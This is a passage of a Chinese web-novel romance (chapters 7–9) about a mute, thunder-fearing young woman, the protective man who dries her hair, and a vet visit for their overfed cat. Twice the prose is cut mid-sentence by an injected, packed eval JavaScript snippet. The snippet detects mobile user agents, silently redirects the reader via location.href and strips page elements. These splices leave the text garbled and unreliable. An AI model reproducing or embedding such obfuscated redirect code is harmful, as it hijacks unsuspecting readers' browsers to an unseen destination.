若能让她每天都吃到喜欢的东西该多好,他想。让她永远不要再有任何舍不得。 一双带着黑手套的纤细的手伸了过来,捧着一碟奶油千层,雪白绵密,甜香四溢。 宫寻阙回过神,“这是给我的?” 夏之荧点点头。 宫寻阙切下一块,刚要送入口中,却见她冲自己摇了摇手,拿起叉子,小心翼翼地卷起完整的一层,递到自己嘴边。 “谢谢。”宫寻阙接过了那把叉子。 她还是和小时候一样,对喜欢的东西有孩子气的执着。 见自己吃太妃糖时会直接咬碎,她说不可以这样,要含在嘴里让糖融化,夹心自然而然地流出来。 【好吃吗?】夏之荧举起素描本。 跟以前一样,他还是辨不出味道的好坏。 “嗯,我很喜欢你教我的吃法。” 素描本上再次出现了笑脸小猫头,旁边还有一个对话泡。 【能和宫先生一起吃蛋糕,我很开心】 “我也一样。”宫寻阙道。 他知道,当她告诉自己太妃糖的吃法时,是想让甜味尽可能地延长。 但他一直都没有告诉她,自己远比她更加贪心。 自己真正希望的是太妃糖永远不会融化。这样的话,陪她吃糖的时间也就永远不会结束。 *** 吃完午餐,宫寻阙把夏之荧送回玻璃宫的庭院大门口。 夏之荧下了车,在车窗边举起素描本,小猫咪挥舞爪子,对话泡里飘过一行大字: 工作加油! 宫寻阙伸出手,和猫爪碰了碰拳。 “对了,把这个带上。”他递给夏之荧一个包装精美的点心盒,“专门给棉花糖做的宠物蛋糕。” 夏之荧点点头表示知道了,走出两步,又忍不住回过脑袋,却见宫寻阙的车仍停在那里,也没有想离开的意思。 后视镜正好反射出他的上半张脸,那双狭长浓暗的墨眸像被框进了特写镜头,无比清晰地拓印在视界里。 胸口莫名揪紧了。 宫寻阙立刻注意到了她的异常。 “怎么了?哪里不舒服吗?” 夏之荧透过黑纱,凝望他的那双眼睛。虽然有着无比深沉的颜 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黑里透红的乌云吹下疾风,卷走了所有的光线。一道银白的闪电划过天空,一瞬间将夏之荧漆黑的衣裙照得惨白。 紧接着是滚滚而过的雷声。 轰隆隆的巨响仿佛要将大地劈裂出一道天埑,彻底吞噬那抹纤细得一折就断的少女身影。 一直紧抱在怀的素描本从颤抖不已的双臂间滑落,掉进了雨水积起的水洼。 雷雨又来了。 她从小就很害怕打雷的声音,雷声很可怕,但只要有妈妈在就不怕。一旦闪电带来雷声的讯号,妈妈便会及时伸出双手,捂住她的耳朵。 妈妈的手有魔法,不仅能画出漂亮的画,做出美味的饭菜,还能为她赶走所有可怕的东西。 但最后,也是这双手重重推开了她,把她用力推向了那个从未谋面的父亲。 “从今往后你不再是我女儿,永远别回来!” 从这一刻起,再也不会有人捂住她的耳朵了。 夏之荧颤了一下睫毛,恍惚间,她发现自己失去了方向,也失去了所有的力气。窒息感不断加剧,一寸寸夺走呼吸,尽管玻璃宫就在前方,只有几步之遥的距离,但她却一动都动不了,只能痛苦地钉在原地。 她很怕,怕得快要死了。自己好像变成了一块坠入深海的石头,巨大的水压快把她压碎,一直要将她压进黑暗最深处。 又一道狰狞的闪电划破天幕。 肆意呼啸的灰蒙雨雾被一抹高大暗影破开,仿佛违背了自然规律一般,庞然雷声刹那止息。 雪白龙胆的清冽苦香如潮汐席卷,驱散了浓烈的雨腥味。 一双炙烫干燥的大手捂住她的耳朵,然后,用力将她按向自己的胸膛。 伞下的世界与世隔绝,无比温暖,无比宁静。充斥耳中的,唯有宽厚胸腔里整齐有力的心跳,一声一声,像是从乌云之上的天国传递过来。 “阿荧,别怕。” 7. 濡湿霜羽 玻璃宫的玻璃砖幕墙被雨点打得噼里啪啦直响,在昏黄色的午后听起来,像是旧电影里沙哑低闷的钢琴曲。 “那我就先出去了。”宫寻阙叮嘱道,“记得洗个热水澡,不要感冒了。” 夏之荧打了个冷战,湿衣服粘在皮肤上的凉意总算唤回了一点神志。从刚才到现在,她的大脑一直是短路的状态,怎么重启一下都不得劲儿。 宫寻阙转身的时候,她看见他的西服外套上有雨水的痕迹,像披戴着冬日结霜的夜。 手比脑更快地做出反应,她牵住了宫寻阙的衣摆。 素描本掉进过水洼,虽然湿掉的是硬质封皮,内里没事,但还是需要等它晾干所有潮气。 如此一来,她便暂时失去了传达想法的工具。 所以,当意识到宫寻阙的目光正笼罩在自己身上时,她只能指尖用力,抓得更紧一点。 “我不走。”宫寻阙声线低沉,“我就在外面。” 夏之荧摇摇头,另一只手也抓住了他的衣摆,把他领到了椅子旁边,示意他坐好不要动。然后,她取来自己的毛巾,双手递给他。 毛巾是淡淡的鹅黄色,上面印着圆头圆脑的小猫咪,有一种天真的柔软。 宫寻阙移开视线,“我不用。” 夏之荧觉得他没懂自己意思,把毛巾拢上他的湿发,笨拙却认真地擦拭起来,给他示意。 大概宫寻阙习惯了顺应她的每个举动,还下意识地低下头配合她。直到柔软的毛巾裹挟着淡淡香气掠擦过脸颊,才浑身一僵,哑声道:“我自己来。” 夏之荧刚想把毛巾给他,但瞧见男人原本一丝不乱整齐向后梳起的黑发变得乱七八糟,忽然就有点舍不得了。 这样的宫寻阙,和平时很不一样。上位者凛然不可侵的气场被冲淡,像潜伏在夜晚里的一只驯良兽类,散发着热量,散发着野性,漆黑的眼眸里也闪动着一种她无法读懂的浓烈暗光。 夏之荧下意识地哆嗦了一下。 不是因为冷,她好像被宫寻阙烫到了。 她把毛巾塞给他,准备去浴室洗澡。临走前还不忘指了指椅子,提醒他乖乖坐好,不要乱跑。 虽然现在雨小了很多,雷鸣也逐渐偃旗息鼓,但她心里还是害怕。只有想到宫寻阙就守在外面,近在咫尺的距离,她才能安心。 过了会儿,水声响起。夏之荧的房间自带一间浴室,与卧房毗邻,空气又十分安静,水流的声音格外鲜明。 宫寻阙一动不动地坐在那儿,除了抓着毛巾的手指有一丝微弱到近乎错觉的轻颤,整个人沉默得如同一座峻拔的山。 水声响了很久都没有停。 夏之荧洗澡一直很慢,每次洗头发都是沉重的负担。 洗完之后,她还要面临吹干的难题。往往吹得手都酸了,头发只有半干,发梢都还在滴水珠子。 女孩儿叹了口气,打开浴室柜拿吹风机,也不知道扔哪里去了,找也找不到,索性直接放弃。 浴室的门敲了一下,轻轻豁开一道隙。 知道这是夏之荧提醒他自己要出来了,宫寻阙闭上眼睛,“你放心,我不会看你。” 黑暗中,人的其它感官会变得更加敏锐。他能清晰感觉到带着潮热温度的沐浴露香气弥漫开来,正慢慢向自己靠近。 手背甚至能感受到些微的潮气,水汽蒙上皮肤,又迅速凝结成极细密的小水珠子。虽然旁边就有纸巾盒,伸手就能拿到,但他恍然未觉似的,并没有把它们抹去。 长毛地毯上晃过淡淡的影子,夏之荧的睡裙裙摆随着脚步轻飘飘地绽开来,发尾扬起雪白的弧线,像停憩水面上的天鹅张开了白羽。 一缕发丝划过了宫寻阙的手心。 男人下意识地想要抓住,却还是抓了个空,徒留一道凉凉的湿痕。 “你头发没吹干?”他闭眼起身,“这样会感冒的,麻烦的话我帮你吹。” 他一动,夏之荧立刻跟受了惊的兔子似的,躲到窗帘后面不肯出来。 她现在没有把自己完全遮蔽,所以不能让宫寻阙瞧见自己。 “我不看你。”男人道,“你背对着我就好。” 夏之荧犹豫了。 她的头发太厚太长,浸透水分之后沉沉地坠在后背,扯得脖子发酸。 冲热水澡时好不容易积聚的暖意也散得差不多了,水珠顺着发梢点点滴滴地渗落,把睡裙打湿一大片,凉凉黏黏地贴在皮肤上,好不难受。 她悄悄探出一只眼睛偷觑,发现宫寻阙已经找到了吹风机,也放好了椅子,看来这件事是势在必行了。 宫先生做的决定应该很难改变吧?而且,仅仅碰到头发的话,应该不会有事。 夏之荧慢慢从窗帘后走了出来。 走一步,看他一眼,雪白龙胆的苦香也变得浓烈一点。 她在他跟前停下脚步,旋过身,整个人像只猫儿一样窝在了雕花软椅上,厚密的雪白长发泼泼洒洒地垂散。 鼻尖感受到潮温的湿气,宫寻阙睁开眼睛,迅疾地伸手掬捧起来,没有让一缕发丝碰到地面。 细密如生绢的发丝被潮意纠缠,泛着近似灿白的碎光,仿佛握在指间稍微一用力,就会淌下熔化的银。 深黑的睫羽低低朝下一敛,男人黑得不显瞳仁的眸子辨不清神色,但绷得凸出的指骨还是出卖了他浓烈沉底的情绪。 吹风机的热风鼓荡起来,长发纷乱飘扬,香气分子扩散开来,像满树梨花飘飞,下起了一场不合时节的雪。 夏之荧刚开始还有点紧张,但很快就舒服地眯起了眼睛,头顶那缕总是容易翘起的头发,也乖乖地趴了下来。 水分一点点蒸发,发丝逐渐变得蓬松顺滑,被男人肤色深暗的手握着、捋着,愈发显得白到不真实,像一捧银月照耀的水,随时会从指间流逝。 可如果因怀着想要据为己有的念头抓得更紧,也只会失去得更快。 “阿荧,好了。” 话一出口的刹那,宫寻阙不由身形一僵。 这个一直被强压在心底的称呼,终于趁情绪翻涌不息的时候,冲破一丝罅隙跑了出来。 夏之荧背对着他,他看不见她的反应,心跳在安静的空气中被拉紧。 过了一会儿,“沙沙”的写字声微微响起,夏之荧举起已经晾干的素描本。 【刚才宫先生也是这么叫我的】 宫寻阙喉结滚了滚,涩哑道:“无意冒犯你,抱歉。” 真笨,夏之荧想。宫先生怎么突然变笨了? 她晃了晃脑袋,赶紧把这个坏坏的想法赶出去。 【我才不介意】 【我很喜欢】 阿荧,两个简单的音节,缀着轻盈的鼻音,从宫寻阙口中发出来就会变得特别动听。 【还有,我想起来了】 “啪嗒。” 身后冷不丁地传来东西落地的动静。 宫寻阙很慢拾起梳子,喉咙里压出淡漠的声音,“你想起什么了?” 【黑王蛇把我救出来的时候,我有一点醒了。当时我不知道发生了什么,心里特别害怕】 【就在那时,我听见有人在叫阿荧,叫了好多好多声】 【可我以为那只是自己的幻听】 记忆里,妈妈还活着的时候,会叫她“宝贝”。来到夏家后,她好像没有了名字,夏羽晴养的宠物狗都有小名,可他们却从来都只以“喂”或者“你”来称呼她。 她的名字是诅咒吗?仅仅置于舌尖,就会招致不幸吗? 阿荧。 她根本不敢相信这样亲昵又窝心,甚至带着点儿眷恋意味的小名,有一天会在最绝望的时刻被用来呼唤她,成了深渊般黑暗的拍卖场里唯一慰藉她的一束光。 【宫先生】 夏之荧很重地落笔。 【是不是你?】 片刻的寂静后,男人低低地说:“不是,你应该听错了。” 夏之荧失望地松开了笔,但很快她又想到了什么似地,抓起笔快速写了起来。 【但宫先生还是第一个】 “什么第一个?” 【从来没有人叫过我阿荧,宫先生是第一个】 本上悦然出现圆滚滚的小猫头,爪子比划出了一个“1”。 宫寻阙勾了下嘴角,心口像被浇淋了一杯冒着热气的柠檬汁,柔软而酸涩地皱成一团。 “阿荧。” 冷不丁的一声,惹得夏之荧头顶那撮不听话的头发晃颤了一下。 “阿荧。” 【怎么了?】 问号被打得大大的。 “没什么。” 没什么还突然叫自己,宫先生是在捉弄人吗? 夏之荧笔尖有一搭没一搭地点着素描本,落下一个个纷乱的小黑点。 “阿荧。” 【怎么了?】 问号画得更大了点。 “还是没什么。” 素描本上出现了一只挂满问号的小猫头。 “就是想叫叫你。”宫寻阙顿了顿,“不可以吗?” 倒是没什么不可以,相反,自己好像还有点听不够…… 但这不是重点。重点是,宫先生他没事吧? 夏之荧真有点担心宫寻阙的脑子了。 “阿荧。” 她又听见宫寻阙叫她,本以为这次也只是叫叫而已,但紧接着耳中又传来那带着冷金属质感的沉悦嗓音。 “先前你问我,为什么对你这么好。” 夏之荧霎时屏住了呼吸。 在这不足一秒的间隙里,她好像什么都没来得及想,又好像已经转过了无数个理由。 因为宫先生很善良,因为宫先生是慈善家,甚至,宫先生只是觉得自己可怜。 每一种理由,好像都有可能。 “没为什么。”宫寻阙沉声道,“只是我想对你好,仅此而已。” “呲。” 夏之荧晃个不停的笔尖失了控,纸页被划破,墨水晕开一大片。 这算什么理由,她不懂这种理由。 宫先生为她做的已经远远超过举手之劳的范畴,好得过了分也过了量。好到她明知自己不能心安理得地接受,还是不可遏制地想要拥有更多。 不知何时起,玻璃幕墙外的雨帘已经不成串儿,唯余淅淅沥沥的残音。 “你别紧张。” 宫寻阙的话音在这样的天气听起来,有种模糊而潮湿的感伤,令她如坠遥远的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420380|169013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦境。 “很久以前,夏家曾对我有过帮助,现在我也算偿还了这份恩情。” 夏之荧悬着的心终于落了地,掌心黏糊糊的,汗水把手套都打湿了。 这才合情合理。 她轻轻呼出一口气,胸腔中像突然滚进一颗有棱有角的石头,一路骨碌碌地滚着,牵扯出细微难辨的痛痒,直到消失在某个角落,传来一声微弱的声响。 安了心,却并不那么高兴。 棉花糖咬着饭盆溜达进来,霸气地把饭盆往地上一扔。 宫寻阙撑着下巴审视它,“你是狗吗?” “喵!” 棉花糖爪子搭上饭盆边沿,一副“老子已经五分钟没吃饭了你是要饿死老子吗”的架势。 宫寻阙站起身,“我去喂猫。” 夏之荧一边看他开猫罐头,一边用手给耳朵扇风降温。 温度是悄然攀升的,等反应过来才发现已经烫得直冒热气,熏得脸颊都沁出了细微的汗意。 可能宫先生的手也好,吹风机的风也好,对她这种体温偏低的人来说,温度都过于高了。 等喂完猫,雨差不多也就停了。 夏之荧走到窗边,看着逐渐转晴的天空,心情却一点点暗了下去。 如果这场雨一直不停,那么…… 她垂下眼帘,目光落在男人挺俊如松的背影上。 那么,自己想请求他留下来时,也就有了理由。 *** 晚上睡觉时,外面庭院里的景观灯还是照常亮起,无比柔和又令人安心的微光盈满卧室,却再也不能哄得她安稳入睡。 夏之荧翻来覆去地滚,差点被头发缠住。 棉花糖跳上床,拱进被子里,贴着她软软娇娇地叫。 既然它那么主动,夏之荧也不客气了,亲它的肥脸蛋,捏它的小胖爪,埋进肚子里狠狠吸个够。 但抱着毛茸茸的棉花糖,听着它呼噜呼噜的声音,她的胸口还是有一点点被揪紧的难受,也还是无法成眠。 她不知道自己怎么了。 以前刚住进小阁楼那会儿,她即使蜷缩于黑暗和寒冷之中瑟瑟发抖,也能在疲倦至极的时候,昏沉沉地跌入黑甜乡。 但现在,她躺在松软得像云絮一样的大床上,还有一只蓬松温暖的猫咪陪伴着她,她的心却无论如何都没法儿宁静,不管多努力地数羊都睡不着。 庭院里的景观灯渐渐熄了下去,天边开始蒙蒙亮。清晨时分,夏之荧终于有了些许睡意。 正当她迷迷糊糊间,却听见身旁的棉花糖好像呼吸急促,还伴随着一声声微弱的哀叫。 她赶紧爬起来,只见棉花糖卧趴在那儿,背部拱起,连毛都炸了起来,显得十分痛苦。 棉花糖是一只健康活泼的小猫,夏之荧从没见过它这样。她惶然伸出手,想轻轻摸一摸它,可一直都很亲人的棉花糖竟然表现出了强烈的抗拒。 夏之荧忽然心脏一阵钝痛,呼吸道像是突然被橡皮筋扎紧了一样,连呼吸都十分困难。 死。 第一时间冒出脑海的念头,是棉花糖会死掉。 霎那间冰冷的恶心感席遍全身,她踉跄着冲到卫浴间,撑着洗手台剧烈地大口喘气,胃里绞痛得厉害,但什么都吐不出来,呛出的眼泪把视线弄得模糊一片 她仿佛看见一只小小的猫正躺在自己手心,一点点停止了腹部的起伏,身体变得冰冷僵硬。 夏之荧知道,自己现在最应该做的,就是立刻带着棉花糖去宠物医院。但强烈的绝望情绪像粘稠浑浊的沥青,一桶一桶浇淋在她身上。她每走一步、每做一个动作,都要用尽全身的力气。 如果病痛是发生在自己身上,她可以像以往任何一次那样忍耐过去,因为那就是自己这种存在理应承受的。 可棉花糖只是一只小猫。 一只会用粉色肉垫的爪子在她身上轻轻踩奶,乖乖窝在她怀里打呼噜的小猫。 夏之荧抱着她的猫,跌跌撞撞地往外跑。恐惧和悲伤紧紧抓住了她,像冰渣一样塞满她的胸膛。她被冻得失去了知觉,连自己滚落了两颗眼泪也不知道,直到黑纱被风吹得贴在脸上,带来湿润的刺痒。 此刻,她不可遏制地想起宫寻阙。 宫寻阙说过,只要她需要自己,无论他在哪儿,都会立刻赶到她的身边。那么,她希望他现在就能出现。 但是,她又心知肚明,这份不切实际的奢望是不被允许的。昨天宫寻阙已经因为她耽误了很重要的会议,自己不能让他一直被牵绊下去,更没有资格把他的温柔善意当成理所应当。 “阿荧。” 一道低沉磁性的声音。 夏之荧停下脚步,难以置信地抬起眼睛。 男人就站在前方,轮廓锋利的身形像一把出鞘的剑,逆阻了所有光芒,也虚化了一切景物,以无法抗拒的强烈存在感伫立在她的视线。 她那个微不足道又过分贪心的愿望,竟然实现了。 夏之荧闭上眼睛,再次睁开的时候,宫寻阙也没有消失。 他大步走向她,漆黑的影子连同雪白龙胆的清苦气息,将她整个人密不透风地笼罩起来。 “别怕。”他抱过棉花糖,“我在。” 8. 不协和音 一到宠物医院,医生立刻把棉花糖抱进诊疗室做检查。 棉花糖的情况似乎更糟糕了,一声比一声轻地发出悲鸣,痛苦地蜷缩成一团。 夏之荧不敢跟进去,坐在走廊的椅子上,闷声不响地低着头,双手用力攥着裙摆。 都怪她,棉花糖一定是因为受了她的影响才会生病的。 明知自己是恶神转世,也该清楚棉花糖只有远离她才能活得健康快乐,可为什么就是忍不住想要触摸那些温暖又柔软的东西呢? 贪心是不对的,也是会不断膨胀的。 看到之后就会想要触碰,碰到之后就会想要得到,得到之后就会想要一直留在自己身边。 从最开始,宫寻阙让自己抱一抱棉花糖的时候,自己就不该伸出手。 一滴,两滴。 眼泪穿透黑纱,在裙摆上砸成模糊又混沌的圆。 “阿荧。” 她听见宫寻阙叫他,男人向来冷硬得连声调都毫无起伏的嗓音,竟似有了一丝微微的颤抖。 他问她:“阿荧,你……是在哭吗?” 她用力摇摇头,翻开素描本写字的时候,却被点点滴滴被洇化开来的墨迹出卖了心情。 【对不起,我害棉花糖变成了这样】 【我没做好你拜托我的事情】 一块叠得整齐地手帕递了过来,散发着淡淡的雪白龙胆苦香。 “阿荧。”宫寻阙的声音低得可怕,“你不能对我说这样的话。” 【为什么】 最后一个点落得很用力,她不懂宫寻阙为什么这么说,更不懂为什么自己握着他的手帕,非但没能擦掉眼泪,反而想哭的冲动越发强烈。 “于我,你永远不需要道歉,也不可能有任何错。” 夏之荧抬起头,怔忡茫然地看着他。 “你不用为任何事情感到自责。棉花糖生病,也只会是我的错,是我没有照顾好你……和它。” 男人眼眸灰暗得透不进一丝光,令她在那么一瞬间,生出一种他似乎比自己更悲伤的错觉。 【可宫先生明明为我做了很多】 宫寻阙很慢地摇了摇头。 “不是的。” 他什么都没有为她做,也什么都没能为她做。他甚至不知道该怎么让她重新高兴起来,哪怕只是擦掉眼泪,停止哭泣也好。 夏之荧又递过来素描本。 【棉花糖会没事吗?】 男人薄唇微颤,仅是“不会”这两个毫无分量的字眼,也因恐惧而无法说出口。 满怀希望却又熄灭,只能眼睁睁地看着怀里温暖鲜活的生命死去,这种事情他又怎么能让她再经历一次。 当年,他就没能拯救他们的棉花糖。他只能眼睁睁地看着她抱紧棉花糖小小的身体,纤弱肩膀因抽泣而不停颤抖,却什么都做不了。 其实,棉花糖会死,他早知道。这种因先天不足被母猫抛弃的幼猫,再怎么用心地养也活不久。 而且,他见识过、经历过许多悲惨的事情,一只猫崽的死对他来说也实在算不了什么。 但棉花糖是她摔得满身泥泞才捡回来的小猫,是他和她一起抱过、喂过、洗过澡,还特意起了名字的小猫。 棉花糖不一样。 【宫先生,你还好吗】 夏之荧见他毫无反应,有点担心地举起素描本。 【是不是我让你也跟着担心了】 男人指骨微蜷,抬起手,安抚性质地拍了拍她的手背。 “阿荧,你不用在意我。” “难受的话就哭出来,别忍着。” 夏之荧吸了下鼻子,一时不知所措。 她从来都习惯忍哭,生病的时候忍,伤心的时候忍,被欺负的时候忍,还是第一次有人告诉她,想哭的时候可以不用忍。 但现在,她偏不想哭了。 女孩儿抬起头,虽然还在抽噎,却还是努力地一点点止住眼泪。 【我才不哭】 【我相信棉花糖一定会好起来的】 “是因为介意我在吗?” 宫寻阙接过她还给自己的手帕,一触到泪水濡湿织物纹理的痕迹,就令他生出十指连心的痛意。 “你就当我不存在,什么都不用顾忌。” 夏之荧摇摇头,举起素描本,又生怕他看不清似的,凑近到他眼前。 【我不哭是因为宫先生就在这里】 【有宫先生在我就感觉很安心】 男人微怔,想对她笑一笑,嘴角却绷得更紧。 永远守在她身边,陪她经历所有,是早就许下的约定,直到如今才姗姗来迟地实现。 埋葬棉花糖那天,她蹲在小小的坟茔前,哭得上气不接下气。 “妈妈不要我,小猫也不要我……为什么大家都不要我,为什么都要离开我?” 他从来都是孤身一人,所以实在回答不了她的问题。 唯一能做的,就是用力在衣角蹭掉手上的泥土,笨拙而拘谨地轻拍她的肩膀,告诉她说: “我会一直在。” 这时,医生走出来了。 “你们还坐在这儿干嘛?”他一脸疑惑,“赶紧进去啊。” 宫寻阙立刻站起身,“棉花糖怎么样了?” 医生乐了,“没事儿,这猫膘肥体壮的能有什么事儿。” 宫寻阙:“……” “就是吃太多了呗!”医生啧啧,“好家伙,头一次见白猫这么能吃的。” 夏之荧:“……” 她记得昨天宫寻阙刚喂完没多久,棉花糖就又饿了,不停扒拉装宠物蛋糕的盒子,喵来喵去地冲她撒娇。她于心不忍,就把盒子打开了…… “回去注意控制饮食就行,定时定量,少吃零食,水分摄取量也要充足。”医生说着,顺嘴打了个趣,“毛孩子是很可爱没错啦,但当妈的可不能太溺爱了。” 夏之荧连连点头。 回去的路上,她头顶那撮头发晃晃悠悠,好心情藏都藏不住。 不光是因为虚惊一场。 手臂被轻轻戳了戳,男人侧过头,只见女孩朝自己举起素描本。 【医生说我是棉花糖的妈妈哎!】 他微微一笑。 只要阿荧开心,他便安乐。 女孩翻过一页。 【那宫先生就是棉花糖的爸爸了】 白纸黑字,字字分明。 男人颤了颤睫羽,迅速移开眼睛,好像根本不敢多看一眼这行稚气的大字。 “喵嗷呜!” 棉花糖一声懒洋洋的叫唤打破了安静。 夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420381|169013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之荧迟疑着翻过一页素描本,小小的字迹充满了犹豫和不自信。 【是不是我说错什么话了?】 男人垂下眼睫,在眼底投下幽深的阴翳,像蕴了深不见底的潭水。 “阿荧,你别胡思乱想。” 【那你是不愿意当棉花糖的爸爸吗……】 男人抿紧薄唇,若回答“愿意”,就是利用少女的天真无邪,满足他那么一点不可告人的妄念。但要他回答“不愿意”,又实非他所愿。 略略撩起眼皮,余光里,夏之荧抱着棉花糖,一人一猫眼巴巴地盯着他的反应。 “好吧。” 【那就是愿意了?】 “嗯。” 【太好了!】 素描本上又被画上了一只小猫头,笑得眯起了眼,胡须翘得冲天高。 宫寻阙浅勾了下唇角,唤她:“阿荧。” 夏之荧转向他,听他问道:“医生的玩笑话,就这么高兴?” 她大力点了点头。 男人喉结鼓滑了一下,“能告诉我为什么吗?” 夏之荧笔杆抵着脸颊想了一会儿,开始写字。 宫寻阙探过视线,只见她写道: 【因为棉花糖有了喜欢它的爸爸妈妈,就是世界上最幸福的小猫咪了】 嘴角的一缕笑意消失了,他抬起手,在半空中顿了顿,还是很轻地落下,揉了一下女孩儿的后脑勺。 夏之荧歪过脑袋,不明白他为什么突然这样。 “阿荧。”他很低地唤了她一声。 夏之荧又朝另一边歪过脑袋。 “我还在,你还有我。”男人凝视着她,黑如深渊的虹膜上浮现出一层浅浅的光。 “所以,我希望你也能像棉花糖一样。” 夏之荧想了想,很认真地提问: 【可我不是小猫】 宫寻阙略怔,忍不住轻笑了一下。 “我知道。” 【那为什么说希望我和棉花糖一样呢?】 车子驶进了隧道,窗外灯光倏忽飞流,映得男人锋利的面部轮廓明明灭灭,眼睛被阴影笼罩,嘴角的柔和弧线却格外鲜明。 他开了口,语气认真得近乎有几分虔诚。 “我在想,如果阿荧有一天也能成为这个世界上最幸福的小姑娘,该有多好。” 车子冲出隧道,天光大亮。 阳光被黑纱过滤,落在夏之荧的脸上,依然有温热的温度。 她慢吞吞地抬起手,调整了一下帽檐,让黑纱遮得更严密一点。多亏有了这层遮蔽,不然她真的不知道,现在该露出什么样的表情才好。 短短不到二十年的人生里,从来没有谁对她说过这样的话,用再自然不过却又无比认真的语气,祈求着她的幸福。 夏之荧理着理不清的小小心事,一声不响地窝在那儿,呆呆的样子引得男人有点担心,就凑近过来唤了她一声。 “阿荧?” 封闭的车内空间,雪白龙胆清苦的香气萦绕不散,现在又因为距离的缩短,变得更加浓郁。 夏之荧颤了颤睫毛,面前男人的面庞忽然靠近,她可以很清楚地看见他浓黑的眉毛拧起,黑漆漆的眸子一瞬不错,无比专注地凝望过来。 心跳莫名乱了步调,蹦出一个不协和音。 9. 此意成诵 等回到玻璃宫,给棉花糖喂好健胃药,夏之荧小小地打了个哈欠,紧绷的神经一放松,一宿没睡积累的倦意便如潮水般涌来。 但是,一想到天气预报说今天可能有雨,要从傍晚下到明天,她的胸口就像被塞了一团湿.漉.漉的乌云。 不想又是一个人捂着耳朵,在滂沱雨声里昏沉沉地跌进无边黑暗里。 还没和妈妈分开的时候,每当雷雨交加的夜晚降临,出租屋里就会亮起温馨的暖黄灯光。 妈妈坐在她的小床边,翻开专门为她画的绘本,用温柔清澈的声音,渲染出一个个阳光下的肥皂泡般美丽的梦境。 妈妈不在了。 她被送到夏家没多久后,陶如玲就一张一合着血红的唇,告诉她姚瑛病死在医院的消息。 “就因为你是个不吉利的东西,才害得你妈得了那种绝症。以后在这个家,你必须乖乖听话,让你怎么样就怎么样。敢再来祸害我们家的人,看我怎么收拾你。” 窗外暴雨倾盆,闪电刺透隆隆雷声,也彻底击碎了记忆里的美好余温。 夏之荧抱着膝盖骨碌碌地滚到床上,拉高被子把自己整个儿埋了进去。 不想了,快睡吧。 可又怎么睡得着。 天幕翻滚过巨大的积雨云,沉甸甸地压在城市上空。 暴风雨又要来了。 过了一会儿,她隔着被子听见身边传来有人坐下的轻微响动,随之丝丝缕缕渗透进来的是雪白龙胆的苦涩香气。 宫先生竟然还没走?夏之荧不禁诧异。 自己一而再、再而三地麻烦他,肯定害他耽误了许多重要的工作,可他怎么还呆在这里,一点儿都没有要离开的意思? 被窝里试试探探地伸出一本素描本,上面写着: 【你还在呀】 宫寻阙说:“刚才去换了猫砂。” 【现在你要走了吗】 宫寻阙问:“我吵到你了?” 【我准备睡觉了,现在在数羊】 “看来数羊并没什么效果。” 【还有兔子和小猫呢】 夏之荧一本正经地补充。 宫先生不懂,数羊不行的话就数兔子,数兔子不行的话就数小猫,反正只要不停地数,总会睡着过去的。 男人轻笑了一声。 夏之荧微窘,也不知道他在笑点什么,脑袋闷闷地埋进枕头底下。 可不知怎的,她数完了羊,数完了兔子,数完了小猫,反而越数越清醒。 男人看着拱来拱去的被子团,问:“要不要换个别的数数看?” 【不想换】 “为什么?” 【因为小羊、兔子和小猫是我最喜欢的动物】 她一直记得妈妈说过的话,想着自己喜欢的东西,心里一高兴就不会害怕了。 这些年,在小阁楼的每一个夜晚,她都是这么数过来的。 “那我来帮你数。”宫寻阙道。 夏之荧不明白了,这还能帮忙的吗? “一只阿荧,两只阿荧,三只阿荧……” 男人有意压得低沉轻缓的声线像丝绒巧克力,在耳畔溶溶漾漾地融化了开来。 夏之荧用微凉的掌心贴了贴耳朵,许是被子捂得太闷,耳朵有点发烫,惹得脸颊也热乎乎的。 宫先生的数法果然不对,她想。阿荧只有一个,哪有这么多阿荧。 【我也不是小动物呀】 男人沉声道:“我知道。” 夏之荧更加一头雾水。 她数小羊、兔子和小猫是因为很喜欢,宫先生这么数是为什么,仅仅是想打趣自己吗? 【宫先生也会有睡不着的时候吗?】 “嗯。” 【那宫先生会做什么?】 “大概会看书吧。” 【是宫先生经常在看的那本书吗?】 夏之荧有印象好几次看到宫寻阙翻阅一本黑封皮的书。 “嗯。” 【我很好奇】 “我可以念给你听我最喜欢的章节。” 夏之荧心口泛起酸软的感觉,自己好幸运呀,竟还有人愿意为她做和妈妈一样的事情。 她屏息凝神,认真聆听纸页摩擦的窸窣声在耳边轻响。 “在黎明时分,天空的东方像玫瑰般鲜红。隔着一片晨雾,眼睛可以久久望着太阳不致刺痛。” “她在我面前出现,戴着橄榄枝的花冠,遮着面纱。” “漫长的岁月已经过去,我如今再不能用眼睛细视她。但我的身体里面,没有一滴血不激烈震动。” 男人向来冷澈磁性的声线在念诵诗句的时候,变得无比柔和而动人,像暖阳透出厚重的云层,晒得人生出几分熏熏然的醉意。 夏之荧并没有全然听懂,恍惚之中,她只觉得宫寻阙与其说是在念诗,倒不如说更像在同谁讲话,吐露的字字句句,全都是不可言说的心曲。 【这是什么故事?】 “主人公翻越七座炼狱山,跋涉过地狱,终于见到了他少年时的恋人。”宫寻阙眸光幽深,略略出神,不知此刻又想到了什么。 夏之荧没料到他会喜欢这样的故事。浪漫却又柔软,听上去就叫人伤感,和他冷峻坚硬的气质迥异。 【宫先生喜欢的理由,我想知道】 “说不上喜欢。” 